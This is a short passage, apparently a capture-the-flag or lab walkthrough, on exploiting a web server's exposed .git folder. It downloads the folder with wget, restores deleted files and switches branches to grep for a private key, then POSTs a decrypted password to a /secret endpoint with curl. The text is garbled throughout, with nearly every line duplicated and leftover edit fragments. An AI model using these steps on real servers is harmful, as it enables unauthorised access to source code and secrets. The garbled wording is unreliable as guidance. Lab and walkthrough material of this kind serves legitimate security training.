While you have access to the .git.git folder:
- Download the
.git
.git folder :wget https://server_address:443/.git
wget https://server_address:443/.git
- Check the status:
git status
git status
- If there is some deleted and uncommitted files, itthey can be restored:
git restore
git restore
Else: If that doesn't work,
- Check if there is another branch:
git branch
git branch
- If there is another branch, switch to it and check if the private key is there:
grep -RHi "private key" .
grep -RHi "private key" .
Note that the /secret
endpoint accept only accepts POST requests, and it will not work if you try to access it in the browser. Consider using Postman or curl instead:
curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret